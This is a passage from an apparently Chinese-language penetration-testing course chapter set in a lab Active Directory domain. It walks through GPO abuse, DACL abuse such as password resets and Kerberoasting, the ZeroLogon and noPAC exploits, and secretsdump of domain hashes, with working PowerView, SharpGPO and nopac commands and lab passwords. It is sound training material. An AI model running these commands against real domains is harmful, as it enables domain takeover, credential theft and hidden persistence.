Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' | ? { ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$') -and ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')} | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl
ConvertFrom-SID <得到的SID>
get-netgpo | ?{$_.name -eq "{<得到的GUID>}"}
```

我们发现，有一个普通用户对一 GPO 具有修改权限，查询返回了该用户的 SID 与 GPO 的 GUID。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/iV4M3GLsrCVRE9jV-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/iV4M3GLsrCVRE9jV-image.png)

查询该 SID，发现是 **SRV01$** 主机账号。查询该 GPO，发现是 GPO **Writable**。那么，至此，我们已经发现了一个 GPO 的利用途径。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/vcnVAaf0A6S9KZyZ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/vcnVAaf0A6S9KZyZ-image.png)

#### **SharpGPO**

SharpGPO ([https://github.com/Dliv3/SharpGPO](https://github.com/Dliv3/SharpGPO)) 是枚举和操纵 GPO、OU、GPLink 和安全过滤器的优秀工具。我们先下载源码，打开项目文件，然后将文件 **GPO.cs** 中 **199 行到 203 行**的代码片段注释掉。否则，在运行时我们会遇到异常。 修改后重新编译，得到二进制文件。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/7HPK2CwqQuzd01Tl-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/7HPK2CwqQuzd01Tl-image.png)

```c#
            /*    DirectoryEntry[] sites = GetSites();
                foreach (DirectoryEntry site in sites)
                {
                    links.Add(site, GetGPOByGpLink((string)site.Properties["gPLink"].Value));
                }*/
```

**枚举所有 OU：**

```powershell
SharpGPO.exe --Action GetOU
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/zm1kmhFdAvFr9Q5n-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/zm1kmhFdAvFr9Q5n-image.png)

**枚举所有 GPO：**

```powershell
SharpGPO.exe --Action GetGPO
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/HXigwGmhOxhxwCj2-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/HXigwGmhOxhxwCj2-image.png)

**枚举所有 GPLink：**

```powershell
SharpGPO.exe --Action GetGPLink
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/cb7cBJlJz445debS-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/cb7cBJlJz445debS-image.png)

如果没有注释之前提到的代码片段，会有如下报错：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/fwqs4ZEeKvxvPmST-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/fwqs4ZEeKvxvPmST-image.png)

**枚举特定 GPO 的安全过滤器：**

```powershell
SharpGPO.exe --Action GetSecurityFiltering --gponame AppLocker
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/RL8wjHowXzOv7bg9-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/RL8wjHowXzOv7bg9-image.png)

###   


### **利用**

根据前面的枚举，主机账号 Srv01 对GPO Writable 有修改权限，因此，我们可以利用不安全的权限来获得代码执行、横向移动和访问持久化。我们也有多种方式来实现这些目标。

#### **可写 GPO**

从 Srv01 获取 SYSTEM 会话，并分别尝试将文件写入 **AppLocker** 和 **Writable** 的文件夹。Srv01$ 不可以在 AppLocker 文件夹中写入文件，即没有写权限。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/ewxzjtugd53xpWhg-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/ewxzjtugd53xpWhg-image.png)

而对于拥有写权限的 GPO Writable 的文件夹，Srv01$ 成功写入了文件。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/1sTIerIxAsrqajG9-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/1sTIerIxAsrqajG9-image.png)

因此，用户对 GPO 及其 SYSVOL 共享文件夹的权限是一致的。考虑到 Srv01 没有足够的权限来操作 Dc01。

之前，我们在 GPO Writable 上添加了一个 GPP，即从 File01 的 **Tools 共享**中拉取一个文本文件。这篇文章 ([https://www.trustedsec.com/blog/weaponizing-group-policy-objects-access/?utm\_content=140183152&amp;utm\_medium=social&amp;utm\_source=twitter&amp;hss\_channel=tw-403811306](https://www.trustedsec.com/blog/weaponizing-group-policy-objects-access/?utm_content=140183152&utm_medium=social&utm_source=twitter&hss_channel=tw-403811306)) 很好地说明了如何操作策略文件，以及 **gPCMachineExtensionNames** 属性以修改首选项。例如，我们可以修改首选项以**创建计划任务**来执行我们的载荷。但是，要实现这一点，我们需要以正确的格式创建一个 XML 文件 **ScheduledTasks.xml**，找到所需的 **gPCMachineExtensionNames** 属性值 **\[{00000000-0000-0000-0000-000000000000}{79F92669-4224-476C-9C5C-6EFB4D87DF4A} {CAB54552-DEEA-4691-817E-ED4A4D1AFC72}\]\[{AADCED64-746C-4633-A97C-D61349046527}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}\]**，并更新 **GPT.INI** 文件。SharpGPOAbuse ([https://github.com/FSecureLABS/SharpGPOAbuse](https://github.com/FSecureLABS/SharpGPOAbuse)) 或 SharpGPO 等工具已经为我们包装了这些步骤和操作，我们可以使用以下命令运行 SharpGPOAbuse：

```powershell
sharpgpoabuse.exe --AddComputerScript --ScriptName logon.bat --ScriptContents "calc.exe" --GPOName "Writable"
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/cEbgCZUhm4QPb08A-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/cEbgCZUhm4QPb08A-image.png)

我们可以看到，脚本被创建成功了：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/22yXO8V6Q4lbHyPa-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/22yXO8V6Q4lbHyPa-image.png)

GPT.INI 也被修改了，现在版本为 9。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/7Qd9pC2VvgBIRJYo-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/7Qd9pC2VvgBIRJYo-image.png)

#### **可写 GPLink**

Srv01 对 GPO Writable 具有修改权限，但并非是整个 GPO 功能，所以不能新建 GPO。考虑到 Srv01 可以将 GPO 链接到域控制器，我们可以进而拿下 Dc01。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/XxzRJmZ9rAuxh5gf-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/XxzRJmZ9rAuxh5gf-image.png)

要创建到 OU Domain Controllers 的新 GPLink，命令应为：

```powershell
sharpgpo.exe --Action NewGPLink --DN "OU=Domain Controllers,DC=prod,DC=raven-med,DC=local" --GPOName Writable
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/k80AmR6pxIJ8BljT-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/k80AmR6pxIJ8BljT-image.png)

查看当前的 GPLink，Writable 成功被链接到了 OU **Domain Controllers**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/Uwf1iZw9kJZw9UzX-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/Uwf1iZw9kJZw9UzX-image.png)

#### **修改 WMI 筛选器**

Rasta Mouse 曾发布了一篇有关 WMI 筛选器利用的文章 ([https://rastamouse.me/ous-and-gpos-and-wmi-filters-oh-my/](https://rastamouse.me/ous-and-gpos-and-wmi-filters-oh-my/))。Srv01$ 对 WMI 筛选器 Example 具有控制权。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/Wz7wheY4R2CVfPu4-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/Wz7wheY4R2CVfPu4-image.png)

登陆 Dc01，赋予 GPO AppLocker 该 WMI 筛选器。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/TYUB914cKc1zSo7E-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/TYUB914cKc1zSo7E-image.png)

当前该筛选器的作用范围是目标 OU 中的 64 位主机。编辑该 WMI 筛选器，将其修改为作用于 32 位的主机。因为 File01 是 64 位的，因此，在组策略更新后不会再被这个 GPO 所作用。

```sql
SELECT * FROM Win32_OperatingSystem WHERE OSArchitecture ="32-bit" 
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/CWcXnnWI7gAz0l5y-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/CWcXnnWI7gAz0l5y-image.png)

综上所述，Srv01 可以修改应用于GPO AppLocker 的WMI 筛选器 Example，但不能修改该 GPO。让我们如下添加一个计算机首选项，然后返回 File01 的会话并检查新文件是否保存到 C 盘。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/AxQpMZZQDJJlXOF3-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/AxQpMZZQDJJlXOF3-image.png)

更新 GPO，查看本地文件，发现该文件并未被拉取到 C 盘，这是预期的，因为系统是 64 位的，并不在 WMI 筛选器的范围内。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/Vo5ndJ9XVAJbrgAF-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/Vo5ndJ9XVAJbrgAF-image.png)

使用 PowerView 枚举当前用户可写的 WMI 过滤器，命令如下所示：

```powershell
Get-DomainObjectAcl -SearchBase "CN=SOM, CN=WmiPolicy, CN=System, DC=prod, DC=raven-med, DC=local" -LDAPFilter "(objectclass=msWMI-Som)" -ResolveGUIDs | ? { $_.ActiveDirectoryRights -like "*WriteProperty*" }
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/fJ0x4visPcFLfPSK-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/fJ0x4visPcFLfPSK-image.png)

  
GUID 是 **{81E9A3D8-3295-4577-8D2E-8944B84B13DE}**

计算新查询的长度，得到是 66，通过以下语句修改 WMI 查询：

```powershell
Set-DomainObject -Identity“{F0BB405E-87C9-42E0-8384-13C79692A678}”-Set @{ 'mswmi-parm2' = '1;3;10;66;WQL;root\CIMv2;SELECT * FROM Win32_OperatingSystem WHERE OSArchitecture = “64 位”' } - verbose
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/JU5I5aqNJhyLyx6s-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/JU5I5aqNJhyLyx6s-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/Uhjci2CcHhVLqYIf-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/Uhjci2CcHhVLqYIf-image.png)

修改成功后，更新组策略。然后发现文件已经从 SMB 目录中被拉取到本地磁盘上了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/JEmWtHDp42YmS4pc-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/JEmWtHDp42YmS4pc-image.png)

#### **隐藏持久化**

我们提到 GPO 可被利用于持久化访问。为了更隐蔽地持久化访问，文章 [https://pentestmag.com/gpo-abuse-you-cant-see-me/](https://pentestmag.com/gpo-abuse-you-cant-see-me/) 讨论了一个技巧。假设我们已经通过利用 GPO 接管了域管理员或域控制器，我们可以登录 Dc01 来隐藏我们的持久化。 打开 **Active Directory Users and Computers**，选择GPO Writable 的 Security 选项卡，添加一个 **DENY ACE**，防止所有主体读写该 GPO。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/MSt9yferE7GdzkV7-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/MSt9yferE7GdzkV7-image.png)

让我们比较之前和之后：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/IAKfhmZi0OjfBlF5-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/IAKfhmZi0OjfBlF5-image.png)

通过这种方式，我们可以隐藏我们的后门 GPO 并实现更隐蔽的持久化。

# DACL的利用

随着我们拿下越来越多的用户和主机，我们发现其中一些主体对其他域对象具有特定权限。例如，其中一个用户可以直接重置另一个用户的密码。 如果有意地利用这些权限，我们可以接管更多用户实现域内提权和横向移动。为了理解这种攻击，我们需要知道 DACL 的概念。在 AD 的上下文中，DACL 是**访问控制条目** (ACE) 的列表，它指定允许或拒绝哪些用户或组访问特定资源，例如计算机、SMB 共享或用户帐户 . DACL 作为对象的属性存储，用于对对象实施访问控制。

DACL 中的每个 ACE 指定了授予或拒绝特定用户或组的访问权限以及适用于这些权限的权限。在我们的 Lab 种，**med-factory** 域中的用户 **jason** 可以在不知道 **justin** 当前密码的情况下重置 justin 的密码。我们可以在下图中看到 justin 上的 DACL。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/1fWX1GQIfXkAUlHa-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/1fWX1GQIfXkAUlHa-image.png)

从 DACL 来看，这个 ACE 明确指出 jason 可以重置 justin 的密码。除此之外，本 Lab 中还有着其他可利用的 DACL，我们可以通过利用这些配置不当或者沦陷用户/主机的 DACL 来扩大我们的访问范围。接下来，我们讨论一些比较经典的 DACL 利用。

### **ForceChangePassword**

上文提到，med-factory 中的 Jason 对 justin 具有强制修改密码的权限。我们在 ADCS 的利用中见识到了，作为 ADCS Manager 分组中的 Justin，可以利用配置不当的 ADCS 实现域内提权。不过在那时，我们以白盒的视角去讨论 ADCS 的利用的。在黑盒的渗透下，如果我们拿下 jason，可以进而拿下 justin 以及整个 med-factory 域。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/uy5YRdmhsV8Qzrou-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/uy5YRdmhsV8Qzrou-image.png)

在之前的内容中，我们发现 raven-med 域中的 jason 可被 **ASREPROASTING** 所攻击，并且我们成功地还原出了 **raven-med\\jason** 的明文密码，为 1q2w3e4r。而在 med-factory 也存在 jason 的用户，并且考虑到 raven-med 与 med-factory 这两个森林之间存在信任关系，因此我们推测 med-factory 中的 jason 的密码也为 **1q2w3e4r**，即**密码重用**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/l7MvQC2hYY5tX1jD-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/l7MvQC2hYY5tX1jD-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/0AwtbM4dfoLdLFgS-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/0AwtbM4dfoLdLFgS-image.png)

要利用 ForceChangePassword 这个 DACL，创建一个 med-factory\\jason 的上下文，导入 powerview 脚本，执行以下语句：

```powershell
Set-DomainUserPassword -Domain med-factory.local -Identity justin -AccountPassword (ConvertTo-SecureString 'Passw0rd' -AsPlainText -Force) -Verbose
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/5BlnQcUg3A57CoPe-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/5BlnQcUg3A57CoPe-image.png)

就这样，我们成功修改了 justin 的密码了。需要注意的是，这类修改或重置目标用户密码的举动，十分容易引起警戒，我们需要权衡好利弊再行动。

### **GenericWrite**

在我们的实验中，也存在着 **GenericWrite** 的利用。与 ForceChangePassword 不同的是，被该 DACL 所作用的目标可以是用户，可以是群组，可以是计算机。因此，利用的思路与方法也有所不同。在下文我们还会介绍 GenericAll，GenericAll 的权限范围比 GenericWrite 更大，因此我们之后会介绍 GenericAll 所独有的、更快捷的利用手段。

##### **对象为用户**

当 GenericWrite 作用的对象是另一个用户时，利用手段是为目标用户添加一个 SPN 然后进行 Kerberosting 攻击，或者设置该用户禁用预认证，然后进行 ASREPRoasting 攻击。如果目标用户的密码强度不足够，那么我们可以获得明文密码。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/HqcVCsHCVTfBno4C-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/HqcVCsHCVTfBno4C-image.png)

我们可以通过以下 PowerView 的语句为 app\_security 设置一个 SPN，然后再使用 rubeus 对其进行 kerberoasting 攻击。

```powershell
Set-DomainObject -Identity app_security -set @{serviceprincipalname='fake/srv01.prod.raven-med.local'}
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/a6xusHsOJFEw47Wf-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/a6xusHsOJFEw47Wf-image.png)

最终，我们得到 app\_security 的密码为 **spongebob**

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/AwRujJrFRcYjG8Au-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/AwRujJrFRcYjG8Au-image.png)

同样的，我们也可以为其设置禁用预认证，通过修改 UAC 值实现：

```powershell
Get-DomainUser -Identity app_security | ConvertFrom-UACValue
Set-DomainObject -Identity app_security -XOR @{UserAccountControl=4194304}
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/80JuJc1pcqwSWMaE-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/80JuJc1pcqwSWMaE-image.png)

修改后，我们发现 app\_security 增加了不需要预认证的属性。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/ymDTEeEbAWRuUi5A-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/ymDTEeEbAWRuUi5A-image.png)

最后，使用 rubeus 对其进行 asreproasting 攻击：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/qeYpIE1VndDVr2aN-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/qeYpIE1VndDVr2aN-image.png)

##### **对象为主机**

如果作用对象为主机，那么大家肯定想到了 RBCD 的利用。因为此前已经讲述过 RBCD 的原理及利用，这里不再赘述。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/sfW5mO8U8Mqrgljd-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/sfW5mO8U8Mqrgljd-image.png)

### **GenericAll**

GenericAll 的权限范围比GenericWrite 更大，因此除了上述 GenericWrite 的利用思路与步骤可行外，还有一些独有的利用手法。

#### **对象为用户**

我们看到，用户 network\_security 对 backup\_operator 具有 GenericAll 权限。但是首先，我们怎么获得 network\_security 的会话呢？我们刚刚获得了 app\_security 的明文密码，为 spongebob。而 app\_security 与 network\_security 的账户形式较为接近，可能为同一部门/用户所掌管，因此，可能存在密码重用的情况。我们可以稍后创建一个 network\_security 的上下文来验证此猜想。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/re52coz7hjdxjSJh-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/re52coz7hjdxjSJh-image.png)

既然 GenericAll 的作用对象也是用户，那么一切就很简单了，我们可以直接使用 net.exe 对其进行密码修改。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/U7cb69OOfY24CH78-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/U7cb69OOfY24CH78-image.png)

如图所示，不仅我们的猜想被验证成功了，而且也修改了 backup\_operator 用户的密码，因此得以进一步扩大我们的访问。

###   


### **更多**

考虑到 DACL 利用的情景众多，本实验容纳不下所有的 DACL 利用的案例，大家可以参考 BloodHound 的官方文档 [https://bloodhound.readthedocs.io/en/latest/data-analysis/edges.html](https://bloodhound.readthedocs.io/en/latest/data-analysis/edges.html) 来查看特定 DACL 的具体的利用手段，甚至附上了 PowerView 或 Rubeus 的利用步骤与命令，十分实用。

以 WriteDacl 为例，文档分类讲解了对象是组、用户、主机时，利用的思路与步骤是怎样的。根据下图的文档截图，我们可以看到，如果对象是组，那么我们可以赋予当前用户**添加成员**的权限。如果对象是用户，那么赋予当前用户**所有特权**，这样，我们可以像 ForceChangePassword 的利用过程一样，修改目标用户的密码。如果对象是主机，同样赋予当前用户所有特权，然后可以阅读该主机的 LAPS 密码 (如果该主机启用了 LAPS)，或者进行 RBCD 的利用从而获得远程代码执行。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/DgzG9jp3EAJNb8ud-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/DgzG9jp3EAJNb8ud-image.png)

作为一个小练习，请学员们完成如下表格，完成后可以当做自己的一个 Cheatsheet。

<table border="1" id="bkmrk-dacl-%E5%AF%B9%E8%B1%A1%E7%B1%BB%E5%9E%8B-%E5%88%A9%E7%94%A8%E6%80%9D%E8%B7%AF-%E5%85%B7%E4%BD%93%E6%AD%A5%E9%AA%A4-" style="border-collapse: collapse; width: 100%; height: 446.953px;"><colgroup><col style="width: 24.9383%;"></col><col style="width: 24.9383%;"></col><col style="width: 24.9383%;"></col><col style="width: 24.9383%;"></col></colgroup><tbody><tr style="height: 29.7969px;"><td style="height: 29.7969px;">DACL</td><td style="height: 29.7969px;">对象类型</td><td style="height: 29.7969px;">利用思路</td><td style="height: 29.7969px;">具体步骤</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">WriteDacl</td><td style="height: 29.7969px;">用户</td><td style="height: 29.7969px;">  
</td><td style="height: 29.7969px;">  
</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">  
</td><td style="height: 29.7969px;">组</td><td style="height: 29.7969px;">  
</td><td style="height: 29.7969px;">  
</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">  
</td><td style="height: 29.7969px;">计算机</td><td style="height: 29.7969px;">  
</td><td style="height: 29.7969px;">  
</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">GenericAll</td><td style="height: 29.7969px;">用户</td><td style="height: 29.7969px;">  
</td><td style="height: 29.7969px;">  
</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">  
</td><td style="height: 29.7969px;">组</td><td style="height: 29.7969px;">  
</td><td style="height: 29.7969px;">  
</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">  
</td><td style="height: 29.7969px;">计算机</td><td style="height: 29.7969px;">  
</td><td style="height: 29.7969px;">  
</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">GenericWrite</td><td style="height: 29.7969px;">用户</td><td style="height: 29.7969px;">为目标用户设置 SPN 然后对其进行 Kerberoasting 攻击

或 为目标用户设置禁用预认证，然后对其进行 ASREPRoasting 攻击

</td><td style="height: 29.7969px;">  
</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">  
</td><td style="height: 29.7969px;">组</td><td style="height: 29.7969px;">  
</td><td style="height: 29.7969px;">  
</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">  
</td><td style="height: 29.7969px;">计算机</td><td style="height: 29.7969px;">  
</td><td style="height: 29.7969px;">  
</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">ForceChangePassword</td><td style="height: 29.7969px;">用户</td><td style="height: 29.7969px;">  
</td><td style="height: 29.7969px;">  
</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">WriteOwner</td><td style="height: 29.7969px;">任意</td><td style="height: 29.7969px;">  
</td><td style="height: 29.7969px;">  
</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">AllExtendedRights</td><td style="height: 29.7969px;">用户</td><td style="height: 29.7969px;">  
</td><td style="height: 29.7969px;">  
</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">  
</td><td style="height: 29.7969px;">组</td><td style="height: 29.7969px;">  
</td><td style="height: 29.7969px;">  
</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">  
</td><td style="height: 29.7969px;">计算机</td><td style="height: 29.7969px;">  
</td><td style="height: 29.7969px;">  
</td></tr></tbody></table>

# 历史漏洞的利用

### **CVE-2020-1472 ZeroLogon漏洞**

因为脆弱的密码学设计，攻击者可以绕过认证并模仿任何域主机，包括域控制器，以实现提权。

Zerologon 的核心问题是 Netlogon 远程协议的加密实现中存在缺陷。该协议使用 **AES-CFB8** 加密方案的自定义实现，这需要一个初始化向量 (IV)。Microsoft 的实现使用 **16 个零字节的固定 IV**，使其容易受到攻击。如下图所示，当全 0 的 IV 与全 0 的输入，即便密钥是随机的，有1/256 的概率得到 8 位的全 0 密文。空间为 256 的密钥空间是极小的，现在的计算机可以瞬间完成计算。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/4lh2omD0vd0k2yOa-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/4lh2omD0vd0k2yOa-image.png)

该漏洞允许攻击者**模仿网络上的任何计算机**，包括域控制器本身，并在目标域控制器上执行远程过程调用 (RPC)。攻击者可以通过向域控制器发送一系列具有**全零客户端凭证的特制 Netlogon 消息**来利用此漏洞，这导致域控制器接受攻击者作为具有特权的有效用户，从而使攻击者可以完全接管域。

这里我们使用来自 [https://github.com/leitosama/SharpZeroLogon](https://github.com/leitosama/SharpZeroLogon) 的 exp。在之前的章节中，我们使用该工具的检测模式检测出了 dc01 受该漏洞影响。我们再来回顾一下：

在域内环境的话，我们只需要指定域控制器即可，发现该域控可被 zerologon 漏洞的攻击所接管。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/QOZo7kZIC7qRnybZ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/QOZo7kZIC7qRnybZ-image.png)

增加 **-reset** 选项，来重置 dc01 主机的凭证：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/5a9m9XW68XDqSgem-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/5a9m9XW68XDqSgem-image.png)

这时，dc01 主机的哈希被重置为显示出的指定 NTLM。得到了 dc01 主机的新哈希后，我们可以使用 CobaltStrike 内置的 **pth** 命令。但是该命令需要当前主机的提升特权，而且因为会补丁 **lsass.exe**，一方面是特征较为显著，另一方面是会被 **PPL** 所阻止 (我们会在下一章节详细讲解 PTH 以及 PPL) 。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/AMPw0AkpZodd1GJu-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/AMPw0AkpZodd1GJu-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/5jOeWNBgfW5xF5lh-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/5jOeWNBgfW5xF5lh-image.png)

我们可以使用 Impacket 中的 secretdump 脚本来实现：

```shell
proxychains secretsdump.py  -dc-ip 172.16.1.11 -just-dc -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'dc01$'@prod.raven-med.local
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/uNNaICcZAVJzUfqa-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/uNNaICcZAVJzUfqa-image.png)

###   


### **CVE-2021-42278 NoPAC漏洞**

该漏洞实际上利用了主机账号的伪造，攻击者可以从普通用户提升为域管理员。默认情况下，因为考虑到 BYOD 政策，普通域用户可以最多添加 **10 台** 计算机。计算机账户是一种特殊的账户，与普通用户账户不同的是，计算机账户以 $ 结尾，例如 Srv01$。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/FbUw4N0P16PQkN0z-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/FbUw4N0P16PQkN0z-image.png)

当添加了新的计算机，因为用户是所有者，自然拥有对添加的计算机的写权限，可以修改其 **SPN**、**sAMAccountName** 等属性 (与 **CVE-2022-26923** 有异曲同工之妙)。攻击者需要清除计算机的 **SPN**，然后修改 **sAMAccountName** 属性，修改为与域控的一致 ( SPN 会随着 sAMAccountName 的改变而改变，因此需要先清除 SPN)。然后，使用 **Rubeus** 为新添加的主机申请一张 **TGT**，但由于我们修改了主机的名称，所以 **/user** 选项应该与域控的一致 (但没有 **$** 结尾)。接着，恢复新添加主机的 **sAMAccountName** 为**初始名称**。最后，使用之前请求的 TGT 通过 S4U2Self 来申请 TGS，因为 TGT 中的 **sAMAccountName** 查找不到，于是 KDC 添加了一个 **$** 后进行查找，自然就找到了域控制器。

听起来需要多个步骤可以完成，但这里我们可以使用来自 [https://github.com/Ridter/noPac](https://github.com/Ridter/noPac) 的exp，一键式地帮助我们完成利用。

指定**明文帐号密码**，以及**域名**，用**扫描模式**检测一下漏洞的存在

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/YDI0If4f1C8uTrdy-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/YDI0If4f1C8uTrdy-image.png)

接下来，我们需要利用这个漏洞创建一个新的计算机帐号，指定**计算机名**、**密码**、**服务类型**。该工具集成了 Rubeus 中 **S4U** 的功能，因此能生成一张 Dc05$ 的 TGT 并将其转换为 CIFS 的 TGS

```powershell
nopac.exe -domain white-bird.local -user serveradm -pass "Summer2024!" /dc dc05.white-bird.local /mAccount nopac /mPassword Passw0rd /service cifs /ptt
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/KZrQSv7WWYsrvwnX-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/KZrQSv7WWYsrvwnX-image.png)

于是，我们可以访问 dc05 的资源了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/gkctUnHPaDxNYNI3-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/gkctUnHPaDxNYNI3-image.png)

# 第8章课后作业

##### **练习**

